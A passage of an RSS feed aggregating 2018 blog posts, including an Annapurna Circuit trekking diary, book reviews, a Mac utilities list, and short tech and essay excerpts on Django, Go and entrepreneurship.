&lt;p&gt;The walk from Bhulbhule to Bahundanda takes about five hours. We got a late start due to rain in the morning, so we didn’t set out until 10:30am. Again, we stuck along the road. We both figured that we would have plenty of days of trekking up steep mountains, so we took it easy. There are a few small trails that cut through villages and bypass small chunks of roadway, so we took those. We passed through Ngadi which is a cute village, but we had such a late start that we decided to move on instead of stopping for food.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551460251/IMG_2383.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The road to Bahundanda gets a little bit steeper towards the end. There’s a small trail on the right leading up to the town which sits perched on the top of the hill. There’s music playing from the village and a large beautiful tree covered in prayer flags. We missed the small path because there were no signs, so we ended up taking the unnecessarily long route up the steep road which could have been avoided.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551460306/IMG_2388.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Sun, 13 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-2-bahundanda/</guid></item><item><title>Filtered aggregates lands in Django 2.0!</title><link>https://tomforb.es/blog/filtered-aggregates-landed-in-django/</link><description>Big Django projects often suffer from a few problems regarding database modelling and relations. Django provides incredibly easy to use tools to model your domain along with an awesomely powerful ORM to query on them. Often back office reporting software written in Django makes extensive use of the ...</description><author>Tom Forbes</author><pubDate>Sat, 12 May 2018 17:00:39 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/filtered-aggregates-landed-in-django/</guid></item><item><title>Annapurna Circuit - Day 1: Besi Sahar to Bhulbhule</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-1-bhulbhule/</link><description>&lt;h1&gt;The first part of our trek... We made the right decision in taking the easier path.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The tourist buses from Kathmandu to Besi Sahar weren’t running when I went, so I took the local bus. It takes between 6 and 10 hours depending on your luck. Mine took about 7, so I recommend taking the earliest bus possible and having lunch in Besi Sahar. The local bus costs 360 rupees ($3.60), and it left from Gongabu New Bus Station Park. When the bus arrives in Besi Sahar you’ll want to take it to the very last stop.&lt;/p&gt;
&lt;p&gt;If you walk to the end of the main road in Besi Sahar, you’ll find the road goes downhill and to the right along the river. It seems there are several other routes, but for me, it was my first day carrying my own backpack. In the past, I’d always had a porter and carried a small day pack. Both David (my trekking buddy) and I agreed that it was unnecessary to make the first day harder than it had to be, so we decided to stick to the road instead of climbing a steep staircase on the trekking trail.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551459890/IMG_2337.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The road runs along the river and still offers lovely views. We started our trek in mid-May when most trekkers are already completing the circuit. Therefore, there weren’t many jeeps on the road. We were also trekking closer to monsoon season which means rainfall would be more likely, but there was also very little dust. The hike was only three hours up a gentle incline. We wanted to stay in Khudi, but the only guesthouse there was full when we arrived, so we moved on to Bhulbhule where we stayed in the Heaven Guest House.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551459975/IMG_2339.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Sat, 12 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-1-bhulbhule/</guid></item><item><title>Camera basics – ISO – Aperture – Shutter speed</title><link>https://yasha.solutions/camera-basics-iso-aperture-shutter-speed/</link><description>Shutter Speed
The time the shutter is open to expose light into the sensor.
Typically measured in fractions of a second.
Slow shutter speeds means more light into the sensor
Examples of shutter speeds: 1/15 (1/15th of a second), 1/30, 1/60, 1/125.
Aperture
How big the hole of the lens is open.
The larger the hole, the more light.
Aperture also controls the depth of field.
Small aperture = large depth of field</description><author>Yasha Solutions</author><pubDate>Sat, 12 May 2018 00:35:38 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/camera-basics-iso-aperture-shutter-speed/</guid></item><item><title>Blockchain in farming? It may be incompatible with...</title><link>https://stop.zona-m.net/2018/05/blockchain-in-farming-incompatible-with-your-lifestyle/</link><description>&lt;p&gt;your whole current lifestyle, basically.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 11 May 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/blockchain-in-farming-incompatible-with-your-lifestyle/</guid></item><item><title>Random Numbers</title><link>https://rjp.is/blogging/posts/random_numbers/</link><description>In which we check whether an RNG is complete.</description><author>infrequent oscillations</author><pubDate>Fri, 11 May 2018 13:03:18 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/random_numbers/</guid></item><item><title>The age of platforms</title><link>https://stop.zona-m.net/2018/05/the-age-of-platforms/</link><description>&lt;p&gt;Platforms. Platforms everywhere.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 10 May 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/the-age-of-platforms/</guid></item><item><title>Resources are infinite: Archimedes' lever for entrepreneurs</title><link>http://dimitarsimeonov.com/2018/05/10/resources-are-infinite-archimedes-lever-for-entrepreneurs</link><description>&lt;p&gt;This post is about a mental leap. I might not be an experienced and
successful entrepreneur, but I am humbly trying to figure it out, to
make a positive improvement in the world. I’ve been a critical thinker
throughout my life and I am trying to combine sharp mathematical
thinking with the humility of realizing I am a beginner at entrepreneurship.&lt;/p&gt;

&lt;p&gt;Most of my life I’ve been given problems to solve. Eventually, I got
good at solving them. I &lt;a href="http://dimitarsimeonov.com/2016/05/17/how-i-became-a-compulsive-math-problem-solver"&gt;became a compulsive problem solver&lt;/a&gt; and that
was good for my career. I optimized so much for solving problems
defined by others that I was able to make use of any kind of
information given in the problem statement, or mock the problem author
if they happened to include extra information, that was not necessary to
solve the problem.&lt;/p&gt;

&lt;p&gt;I was thinking inside the box - using only the properties and
resources I was given. Only in the last couple years am I making the
leap to consider all resources in the world, and all the problems, and
to decide which of them I want to solve.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://dimitarsimeonov.com/2016/04/14/life-is-not-reinforcement-learning"&gt;Life is not reinforcement learning&lt;/a&gt;, and I am breaking out of the old
robot mindset into the mindset of the entrepreneur, realizing that I
can define my objective, unconstrained by the resources I have, and
find a way, or rather find a lever, or make a lever to achieve it.&lt;/p&gt;

&lt;p&gt;One of the definitions of an entrepreneur is “a person who moves
resources from a lower yield to a higher yield”. That definition is
somewhat unrelated to the common image of entrepreneur - a person who
starts a company or business. It doesn’t say anything about how
business savvy they are or whether they take a risk or whether they
are well connected. It instead focuses on the success criteria -
higher yield of resources. Optimization of the world we live in.&lt;/p&gt;

&lt;p&gt;That definition doesn’t even say anything about who these resources
belong to. We might naively consider them to belong to the
entrepreneur themselves. This might be the case for a trader who’s
bought goods cheaply and is trying to sell them more expensively, or
someone who is already rich by other means. But it need not be.&lt;/p&gt;

&lt;p&gt;Some of the most successful entrepreneurs would move resources that
belong to others. They create a lever, and convince all these people
who own the resources to use that lever. That’s the Archimedes’
lever - “Give me a place to stand and I will move the
Earth”. Archimedes, the Greek mathematician, discovered that a long
enough lever, if propped appropriately, could transform the feeble
force of a human being into a tool that can raise boulders and planets.&lt;/p&gt;

&lt;p&gt;The entrepreneur’s lever can be a company they run, or a service they
provide, but could also be their words and actions. The most powerful
levers can move mountains.&lt;/p&gt;

&lt;p&gt;Entrepreneurs do not necessarily need to capture the extra yield they
are creating. Tim Berners-Lee, the inventor of the World Wide Web,
moved the resource of documents from a lower yield of isolation, to
a higher yield of being in a network. When connected through
hyperlinks, they become more valuable, the information in them
has more context for interpretation. Jimmy Wales, the co-founder
of Wikipedia, took information that was in people’s heads and created a
way to organize that into curated articles. Richard Stallman, the
founder of the Free Software Foundation, created a way for software to be
free-as-in-freedom, moving it from the low yield for society of
private usage and ownership, to the higher yield of public ownership
and development.&lt;/p&gt;

&lt;p&gt;These people have had an enormous impact on our lives, and on the
world economy. But they, and others like them, did not get rich from
that. Still, they did find resources which can be improved and
improved them. They worked with infinite resources - not just things
they own and control, but the resources everyone has. They embodied the
entrepreneur definition given above. They looked globally, at all the
resources of humanity, and found a way to improve them.&lt;/p&gt;

&lt;p&gt;They built the levers and then gave them away, for free, so all of us
can be like Archimedes. I think it is also great when people make
reasonable profit from the levers they create. It’s a powerful
incentive for the creation of new levers and the improvement of our lives.
Many entrepreneurs go that route and make profit. But I chose the
people above, who didn’t make profit, to illustrate the idea of moving
resources, regardless of anything else.&lt;/p&gt;

&lt;p&gt;For an entrepreneur to be resourceful, and to think in terms of
unlimited resources is the same thing. All the resources of the world
exist, and can be moved and employed. And that’s the labor of the
entrepreneur. It’s meta-labor. It still takes a lot of energy, time,
and hard work. But the purpose of that labor is to find and push the
right lever. CEOs, scientists, investors - anyone could be the person
who pushed it.&lt;/p&gt;

&lt;p&gt;The mental leap, at least for me, is to be looking for the lever,
rather than just producing the resource.&lt;/p&gt;</description><author>D13V</author><pubDate>Thu, 10 May 2018 20:15:36 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/05/10/resources-are-infinite-archimedes-lever-for-entrepreneurs</guid></item><item><title>Eve 0.8 has been released</title><link>https://nicolaiarocci.com/eve-0.8-has-been-released/</link><description>&lt;p&gt;I am pleased to announce that the latest version of Eve, v0.8, has been
released. As always, this release has been carefully crafted with love and
passion by yours truly, with the help of a fantastic bunch of contributors.&lt;/p&gt;
&lt;p&gt;Highlights include data-validation-on-steroids thanks to the full support for
Cerberus 1.x, also recently released, partial media requests (think media
streaming), new hooks which allow you to attach custom callbacks to aggregation
and soft deletion events, some new query operators, support for the mongo
decimal type, and more. There are also many critical fixes and improvements.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Thu, 10 May 2018 11:46:13 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/eve-0.8-has-been-released/</guid></item><item><title>Links - May 10th, 2018</title><link>https://faingezicht.com/links/2018/05/10/links/</link><description/><author>Avy Faingezicht</author><pubDate>Thu, 10 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2018/05/10/links/</guid></item><item><title>New York City, 2018</title><link>https://faingezicht.com/photos/2018/05/10/nyc2018/</link><description>When Max and Einat got married, we decided that instead of giving them a physical thing as a gift, we'd give them an experience that they could enjoy with us. This trip to NYC was it.

Traveling to New York is always fun, but hectic. We have a lot of friends there and it was impossible to see everyone over a quick weekend trip, especially when juggling not just our own friends, but also Max and Einat's. We tried, but ended up seeing only a few of the people we wanted to hang out with.</description><author>Avy Faingezicht</author><pubDate>Thu, 10 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/05/10/nyc2018/</guid></item><item><title>Pace of Change by Bill Gates</title><link>https://ho.dges.online/words/commonplace/pace-of-change-by-bill-gates/</link><description>&lt;blockquote&gt;
&lt;p&gt;“We always overestimate the change that will occur in the next two years and underestimate the change that will occur in the next ten. Don’t let yourself be lulled into inaction”&lt;/p&gt;
&lt;/blockquote&gt;</description><author>ho.dges.online</author><pubDate>Thu, 10 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/pace-of-change-by-bill-gates/</guid></item><item><title>How to start a Go project in 2018</title><link>https://boyter.org/posts/how-to-start-go-project-2018/</link><description>&lt;p&gt;This post is fairly old. See the updated version &lt;a href="https://boyter.org/posts/how-to-start-go-project-2023/"&gt;Starting a Go project in 2023&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Getting started with a Go project in 2018 is frankly a little more painful then getting anything else started IMHO. With that here is what I have been doing to get started.&lt;/p&gt;
&lt;p&gt;The first thing to do is download and install Go. I would suggest always installing from the Go website itself &lt;a href="https://golang.org/"&gt;https://golang.org/&lt;/a&gt; and following the instructions for your OS of choice.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Thu, 10 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://boyter.org/posts/how-to-start-go-project-2018/</guid></item><item><title>Drawables, Regions, Shapes, Types of WM, Reparenting, Compositing, Redirecting, Unredirecting, Rendering</title><link>https://venam.net/blog/unix/2018/05/10/reparenting-redirecting-composition-rendering.html</link><description>In this article we're going to go over the big list of words found in the title.  When I worked on 2bwm I didn't have much experience with X programming in general. I've sort of learned it on the spot. That's why I'm trying to gain more knowledge before continuing to re-rewrite 2bwm from scratch.  Now that I've got a bit more background I think it's good to share it with the world, for others that are like me, looking for knowledge and good articles on the topic.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Wed, 09 May 2018 20:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/unix/2018/05/10/reparenting-redirecting-composition-rendering.html</guid></item><item><title>Books I Read in 2017</title><link>https://www.anmolsarma.in/post/books-2017/</link><description>&lt;h3 id="the-god-of-small-things-by-arundhati-roy"&gt;The God of Small Things by Arundhati Roy&lt;/h3&gt;
&lt;p&gt;A beautifully heart-rending exploration of the human condition. The prose is almost lyrical and the narrative is dreamlike and completely immersing. All the little details add up to symbolise something bigger. The book is part political satire, part social commentary part psychological drama and part fairy tale. In the midst of all this, it manages to capture the thought process of children like no other book.  Would highly recommend.&lt;/p&gt;
&lt;h3 id="how-to-win-friends-and-influence-people-by-dale-carnegie"&gt;How To Win Friends And Influence People by Dale Carnegie&lt;/h3&gt;
&lt;p&gt;The original &amp;ldquo;self-help&amp;rdquo; book. Carnegie offers solid advice for dealing with business relationships and public speaking. While some of it may be obvious, it’s especially useful for introverts and people with social anxiety because it outlines a few simple techniques that make meeting new people a little easier. However, some of the techniques for conflict resolution come across as outright manipulative. I doubt it will be life-changing but if you&amp;rsquo;re going to read a self-help book, you could certainly do a lot worse than &lt;em&gt;How to Win Friends&lt;/em&gt;. Would recommend.&lt;/p&gt;
&lt;h3 id="the-martian-by-andy-weir"&gt;The Martian by Andy Weir&lt;/h3&gt;
&lt;p&gt;While the movie was great, the book is just so much better. A gripping page-turner with a focus on realism and scientific accuracy. Anyone even remotely interested in science and technology would find an immensely relatable hero in Mark Watney. To top off the exciting plot, the writing is crisp, the pacing perfect and the dialogue is brilliant and funny. Would highly recommend.&lt;/p&gt;
&lt;h3 id="restart-the-last-chance-for-the-indian-economy-by-mihir-sharma"&gt;Restart: The last chance for the Indian Economy by Mihir Sharma&lt;/h3&gt;
&lt;p&gt;A blunt, irreverent and acerbic account of the long list of policy blunders which ail India&amp;rsquo;s economy. Probably the most well stated and researched rant you&amp;rsquo;ll ever read. The book is filled with anecdotes that are both insightful and funny. While Mihir Sharma jumps the gun with his suggestion in a few places, the work makes it absolutely clear that he knows what he&amp;rsquo;s talking about. He also breaks from the tradition of lionising India&amp;rsquo;s IT and pharma industries and calls them out for what they are. Would recommend.&lt;/p&gt;
&lt;h3 id="the-curious-incident-of-the-dog-in-the-night-time-by-mark-haddon"&gt;The Curious Incident of the Dog in the Night-Time by Mark Haddon&lt;/h3&gt;
&lt;p&gt;A touching and poignant account of an autistic savant&amp;rsquo;s attempt to solve mysteries. The book does a wonderful job of capturing the perspective of someone with a thoroughly logical mind and difficulties interacting with other people. It also manages to convey the frustrations of those who care for children with special needs.  An excellent if psychologically dissociating read. Would recommend.&lt;/p&gt;
&lt;h3 id="the-emperor-of-all-maladies-by-siddhartha-mukherjee"&gt;The Emperor of All Maladies by Siddhartha Mukherjee&lt;/h3&gt;
&lt;p&gt;A biography of cancer punctuated with the experiences of the author as a practising oncologist. A perfect blend of scientific exposition and dramatic narrative. The vivid descriptions of biological processes are accessible and the metaphors absolutely exemplary. Also included is a history of the propaganda war waged by tobacco companies and cancer researchers. If you were unaware of the state of contemporary cancer treatments, it will leave you a lot more informed but possibly also a bit worried. Would recommend.&lt;/p&gt;
&lt;h3 id="midnights-children-by-salman-rushdie"&gt;Midnight&amp;rsquo;s Children by Salman Rushdie&lt;/h3&gt;
&lt;p&gt;A story that willfully defies description. Notionally about 1001 children whose destinies are magically intertwined with that of independent India. A narrative packed with digressions, deliberate false steps and allegorical insinuations coupled with immensely funny and brilliant prose. The book captures the essence of everyday Indian life with both the magnificent and the squalid. Would recommend.&lt;/p&gt;
&lt;h3 id="sapiens-a-brief-history-of-humankind-by-yuval-noah-harari"&gt;Sapiens: A Brief History of Humankind by Yuval Noah Harari&lt;/h3&gt;
&lt;p&gt;Like Guns, Germs and Steel but even grander. The sort of book that completely changes one&amp;rsquo;s perspective. The book is full of big ideas ranging from the power of collective delusions, the relationship between wheat and humans and the deep unconscious effects of advertising. Hands down the best book I read in 2017. Would highly recommend.&lt;/p&gt;
&lt;h3 id="norse-mythology-by-neil-gaiman"&gt;Norse Mythology by Neil Gaiman&lt;/h3&gt;
&lt;p&gt;A short but gripping and suspenseful retelling of the foundational myths of the Norse pantheon; stories of how Odin, Thor and Loki came to be and how they would fall. The prose is full of witticisms and frequently blurs the distinction between metaphor and reality. Overall, a delightful read. Would Recommend.&lt;/p&gt;
&lt;h3 id="the-selfish-gene-by-richard-dawkins"&gt;The Selfish Gene by Richard Dawkins&lt;/h3&gt;
&lt;p&gt;An immensely readable treatise on the gene-centred view of evolution by the high priest of New Atheism. The title really does the book injustice, it deals as much with the altruism of individuals as it does with the selfishness of genes. Dawkins also introduces the concept of a meme: a unit for human cultural evolution. Would highly recommend.&lt;/p&gt;
&lt;h3 id="fahrenheit-451-by-ray-bradbury"&gt;Fahrenheit 451 by Ray Bradbury&lt;/h3&gt;
&lt;p&gt;A dystopian novel about a future where books are outlawed and firemen burn any that are found. It can be read both as a criticism of censorship as well as that of mass media. Perhaps the second theme is more relevant today in the age of viral media than it was in Bradbury&amp;rsquo;s time. While a good read overall, the prose does come off as a bit snobbish. Would recommend.&lt;/p&gt;
&lt;h3 id="black-swan-by-nassim-taleb"&gt;Black Swan by Nassim Taleb&lt;/h3&gt;
&lt;p&gt;An annoyingly long-winded, insufferably pompous and thoroughly grating account of the disproportionate effects of unforeseen events. Much of the book reads like a self-aggrandizing rant. While there are a few good ideas in the book, it could have easily been cut to a third of its size without losing anything of value. Skip the book and listen to one of Taleb&amp;rsquo;s lecture instead. Would not recommend.&lt;/p&gt;
&lt;h3 id="foucaults-pendulum-by-umberto-eco-as-translated-by-william-weaver"&gt;Foucault&amp;rsquo;s Pendulum by Umberto Eco as translated by William Weaver&lt;/h3&gt;
&lt;p&gt;Described as The Thinking Man&amp;rsquo;s Da Vinci Code, it&amp;rsquo;s a satirical exposition of people&amp;rsquo;s desire to believe their own version of the truth. Chock full of allusions and references, and incredibly dense, it certainly is not an easy or light read. The plot and characters are hilarious and the writing extremely clever. Reading this, one might end up feeling mentally inadequate. Would recommend.&lt;/p&gt;
&lt;h3 id="the-raj-at-war-by-yasmin-khan"&gt;The Raj at War by Yasmin Khan&lt;/h3&gt;
&lt;p&gt;Subtitled A People’s History of India’s Second World War, Yasmin Khan does an excellent job collating the experiences of ordinary Indians caught up in the war. There are accounts of not just soldiers but also lascars, nurses, labourers and peasants. The horrors of the Bengal famine are captured in all its gory detail. Also shown is the birth of India&amp;rsquo;s all-powerful and hopelessly apathetic babudom and the police state. Would recommend.&lt;/p&gt;
&lt;h3 id="snow-crash-by-neal-stephenson"&gt;Snow Crash by Neal Stephenson&lt;/h3&gt;
&lt;p&gt;An absurdist, dystopian science fiction novel dealing with elements of history, linguistics, anthropology, religion, computer science, politics, cryptography, memetics and philosophy. Primarily, the plot revolves around information and how it affects humans. The difference between the workings of a man (Or for that matter, a beast) and a machine is frequently blurred to great effect. The book also popularised the term avatar meaning a virtual persona. Would recommend.&lt;/p&gt;
&lt;h3 id="deep-work-by-cal-newport"&gt;Deep Work by Cal Newport&lt;/h3&gt;
&lt;p&gt;The subtitle, Rules for Focused Success in a Distracted World is a definite oversell. It starts off decently. The premise of modern work environments that prioritize superficial and immediate metrics over creating actual value is spot on, as is the description of viral social media platforms stealing our attention and our ability to focus. The meat of the book though, the rules are the usual self-help claptrap full of anecdotes with a dash of survivorship bias. Nevertheless, the initial part of the book makes for good reading. Some might even find the rules useful. Would recommend.&lt;/p&gt;
&lt;h3 id="a-clockwork-orange-by-anthony-burgess"&gt;A Clockwork Orange by Anthony Burgess&lt;/h3&gt;
&lt;p&gt;An unabashedly dark and satirical take on the morality of free will.  The many depictions of violence carry a sense of excitement from Alex, the central character but, the book does not in any way promote violence. Large parts of the book are written in a fictional Russian influence slang which feels very natural while not harming intelligibility. The writing has an almost lyrical quality to it, especially when describing music. A short but unsettling read. Would recommend.&lt;/p&gt;</description><author>Anmol Sarma</author><pubDate>Wed, 09 May 2018 17:58:40 GMT</pubDate><guid isPermaLink="true">https://www.anmolsarma.in/post/books-2017/</guid></item><item><title>Small Mac apps I love</title><link>https://muffinman.io/blog/small-mac-apps-i-love/</link><description>&lt;article class="article"&gt;&lt;p&gt;Recently I switched to a new laptop and had to set it up
&lt;span class="sidenote__text" tabindex="0"&gt;to my likings.&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;&lt;a href="https://xkcd.com/1806/"&gt;This comic&lt;/a&gt; describes my setup pretty accurately.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
My setup includes a bunch of small apps I found over the years.
It seems that most people are not aware of these,
so I decided to share a list.&lt;/p&gt;
&lt;p&gt;All of them are free (with the exception of TotalFinder),
and if you like them, consider donating to authors.&lt;/p&gt;
&lt;p&gt;So here they are in the alphabetical order:&lt;/p&gt;
&lt;h3 id="appcleaner"&gt;AppCleaner &lt;a class="anchor-link" href="#appcleaner"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://freemacsoft.net/appcleaner/"&gt;AppCleaner website&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AppCleaner is a small application which allows you to thoroughly uninstall unwanted apps.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure class="image__figure image__figure--transparent"&gt;&lt;img alt="AppCleaner window" height="1352" src="./appcleaner.png" width="2744" /&gt;&lt;/figure&gt;
&lt;h3 id="copyclip"&gt;CopyClip &lt;a class="anchor-link" href="#copyclip"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://itunes.apple.com/us/app/copyclip-clipboard-history-manager/id595191960"&gt;CopyClip website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Simple clipboard manager, stores what you copied allowing you to quickly find it.&lt;/p&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="CopyClip clipboard history" height="724" src="./copyclip.png" width="1240" /&gt;&lt;/figure&gt;
&lt;h3 id="haptickey"&gt;HapticKey &lt;a class="anchor-link" href="#haptickey"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/niw/HapticKey"&gt;HapticKey website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is a weird one.
I already ranted about the touch bar, and this app makes it a little bit more bearable.
Tapping on touch bar will make your trackpad vibrate(?!) to give you haptic feedback.
Give it a try and decide for yourself.&lt;/p&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="HapticKey" height="724" src="./haptickey.png" width="1240" /&gt;&lt;/figure&gt;
&lt;h3 id="itsycal"&gt;Itsycal &lt;a class="anchor-link" href="#itsycal"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.mowglii.com/itsycal/"&gt;Itsycal website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If you ever were annoyed by the fact Mac has no built-in calendar in the menu bar, you&amp;#x27;ll love Itsycal.
It is a tiny calendar with option to show your calendar events.&lt;/p&gt;
&lt;p&gt;By default it displays small calendar icon, with current date in it.&lt;/p&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Itsycal with default date icon" height="724" src="./itsycal-icon.png" width="1240" /&gt;&lt;/figure&gt;
&lt;p&gt;Custom date formats are supported as well, allowing you replace Mac&amp;#x27;s clock completely.&lt;/p&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Itsycal using custom date format" height="724" src="./itsycal.png" width="1240" /&gt;&lt;/figure&gt;
&lt;h3 id="spectacle"&gt;Spectacle &lt;a class="anchor-link" href="#spectacle"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.spectacleapp.com/"&gt;Spectacle website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Simple window manager - move windows around, across workspaces, resize them.
All that by using using customizable global shortcuts.&lt;/p&gt;
&lt;figure class="image__figure image__figure--transparent"&gt;&lt;img alt="Spectacle main window" height="1294" src="./spectacle.png" width="1456" /&gt;&lt;/figure&gt;
&lt;h3 id="the-unarchiver"&gt;The Unarchiver &lt;a class="anchor-link" href="#the-unarchiver"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://theunarchiver.com/"&gt;The Unarchiver website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Well, this is probably the
&lt;span class="sidenote__text" tabindex="0"&gt;most popular&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;I just realized Unarchiver was acquired by MacPaw,
hopefully they'll keep it free and simple.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
on this list.
Unarchiver does exactly what it&amp;#x27;s name suggests.
It supports all of the archive formats you&amp;#x27;ll ever need.&lt;/p&gt;
&lt;h3 id="totalfinder-1200"&gt;TotalFinder ($12.00) &lt;a class="anchor-link" href="#totalfinder-1200"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://totalfinder.binaryage.com/"&gt;TotalFinder website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I always felt Finder is missing a lot of features.
TotalFinder and XtraFinder both fix that to an extent,
by adding things like tabs, dual mode, cut and more.&lt;/p&gt;
&lt;figure class="image__figure image__figure--transparent"&gt;&lt;img alt="TotalFinder dual mode" height="1770" src="./totalfinder.png" width="2478" /&gt;&lt;/figure&gt;
&lt;p&gt;There is a catch - both application require &lt;a href="https://totalfinder.binaryage.com/sip"&gt;system tweak&lt;/a&gt;
to install. You need to disable System Integrity Protection
(don&amp;#x27;t worry, you can enable it once app is installed).&lt;/p&gt;
&lt;h3 id="xtrafinder"&gt;XtraFinder &lt;a class="anchor-link" href="#xtrafinder"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.trankynam.com/xtrafinder/"&gt;XtraFinder website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Pretty similar to TotalFinder, but free. I had some problems with it long ago
(can&amp;#x27;t remember what it was) so I switched to TotalFinder.
Haven&amp;#x27;t used in a long time, but you may want to give it a try.&lt;/p&gt;
&lt;p&gt;Requires same &lt;a href="https://www.trankynam.com/xtrafinder/sip.html"&gt;system tweak&lt;/a&gt; as TotalFinder.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id="bash"&gt;Bash &lt;a class="anchor-link" href="#bash"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;As a bonus here are my two favorite bash tools.&lt;/p&gt;
&lt;h3 id="bash-it"&gt;Bash-it &lt;a class="anchor-link" href="#bash-it"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/Bash-it/bash-it"&gt;Bash-it website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is a clone of oh-my-zsh for bash. Includes autocompletion, themes, aliases, custom functions and more.
I have been using for a few years now and migrating my config to every new machine I use.&lt;/p&gt;
&lt;h3 id="autojump"&gt;autojump &lt;a class="anchor-link" href="#autojump"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/wting/autojump"&gt;autojump website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is pure awesomeness.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;autojump is a faster way to navigate your filesystem. It works by maintaining a database of the directories you use the most from the command line.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Using provided &lt;code&gt;j&lt;/code&gt; command, you can jump around filesystem using fuzzy search.
Autojump is smart, and it will favorize directories you visit more frequently.&lt;/p&gt;
&lt;p&gt;For example &lt;code&gt;j stanko&lt;/code&gt; will take me to my blog directory (&lt;code&gt;/Users/stanko/stanko.github.io&lt;/code&gt;)
instead of my home folder (&lt;code&gt;/Users/stanko&lt;/code&gt;) because I navigate to the prior one more often.&lt;/p&gt;
&lt;p&gt;Note that directories must be visited first before they can be jumped to.&lt;/p&gt;
&lt;hr /&gt;
